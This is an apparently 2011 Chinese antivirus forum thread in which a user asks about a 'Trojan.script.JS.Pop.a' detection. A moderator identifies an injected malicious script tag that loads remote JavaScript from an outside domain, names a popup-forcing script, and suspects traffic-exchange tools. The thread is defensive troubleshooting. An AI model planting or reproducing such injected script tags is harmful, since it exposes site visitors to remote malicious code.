瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

12   1  /  2  页   跳转页

[求助] 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

收藏
西风秋雨
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2004-09-29
  • 来自:
发表于： 2011-11-18 09:52 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

前几天很好，这几天每天都跳出这个Trojan.script.JS.Pop.a

瑞星提示是已经删除病毒。度娘了下，说是JS脚本木马。我很郁闷。安全模式下杀毒，显示结果是没有病毒。但是在正常模式下，是不是就会出现这个。

求助各位了。

用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; Alexa Toolbar; TheWorld)
分享到：
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2011-11-18 09:54 | 短消息 资料
字号： 小 中 大 2楼

回复 1F 西风秋雨 的帖子

将报毒文件从瑞星病毒隔离区里找到恢复后压缩跟帖上传。
gototop
 
西风秋雨
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2004-09-29
  • 来自:
发表于： 2011-11-18 10:27 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

回复: 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

文件类型不能上传，压缩文件就被系统杀死。。。
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2011-11-18 10:31 | 短消息 资料
字号： 小 中 大 4楼

回复 3F 西风秋雨 的帖子

暂时关闭文件监控上传，上传到网盘吧，www.115.com，论坛压缩格式zip、rar都支持的。
gototop
 
西风秋雨
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2004-09-29
  • 来自:
发表于： 2011-11-18 10:51 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

回复: 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

谢谢斑竹的指点，已经解决了。

附件论坛就可以上传

附件附件:

文件名:文件.rar
下载次数:326
文件类型:application/octet-stream
文件大小:
上传时间:2011-11-18 10:50:46
描述:rar
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2011-11-18 11:00 | 短消息 资料
字号： 小 中 大 6楼

回复 5F 西风秋雨 的帖子

报毒页面底部被写入了恶意链接地址：

[复制到剪贴板]
CODE:
<script language=javascript src=http://www.haofbi.com/js/w.js></script>


这个链接地址已经失效。
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2011-11-18 11:05 | 短消息 资料
字号： 小 中 大 7楼

回复：瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

tui[1].js会弹出：http://www.1ye1.com/index2.html这个地址，强制弹窗。
gototop
 
西风秋雨
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2004-09-29
  • 来自:
发表于： 2011-11-18 11:07 | 只看楼主 短消息 资料
字号： 小 中 大 8楼

回复：瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

嗯嗯，问下版主大大，我看着 流量精灵 和 流量宝 这两个软件。您说，是不是因为这两个软件，从后台开启了分享网页，而导致我机器感染的这些JP木马呢？我很怀疑是这个，因为在没有开启这两个软件之前，我电脑没问题。偶尔有些病毒，也是因为看电影引起的（您懂的。。。），而且流量精灵我度娘了下，也纷纷有人说感染了病毒。
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2011-11-18 11:12 | 短消息 资料
字号： 小 中 大 9楼

回复 8F 西风秋雨 的帖子

这两个软件没有用过，你传上来的页面是中华养 生保健网，不知道是你访问了中华养 生保健网还是你说的这两个软件强制劫持访问这个网站。如果是你访问中华养 生保健网，那么建议就暂时不要访问了，如果是那两个软件导致，建议卸载不要安装使用。
gototop
 
西风秋雨
头像
初生襁褓狮
  • 帖子:11
  • 注册: 2004-09-29
  • 来自:
发表于： 2011-11-18 11:27 | 只看楼主 短消息 资料
字号： 小 中 大 10楼

回复：瑞星查出Trojan.script.JS.Pop.a 这是病毒吗？

嗯嗯，版主大大。我没访问过这个网站。因为流量宝和流量精灵这两个软件，就是给网站刷流量的。原理和BT下载一样。就是提供平台，然后软件负责相互访问。如此来说，版主大大分析的对，可能就是因为相互访问，导致的病毒扩散。
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT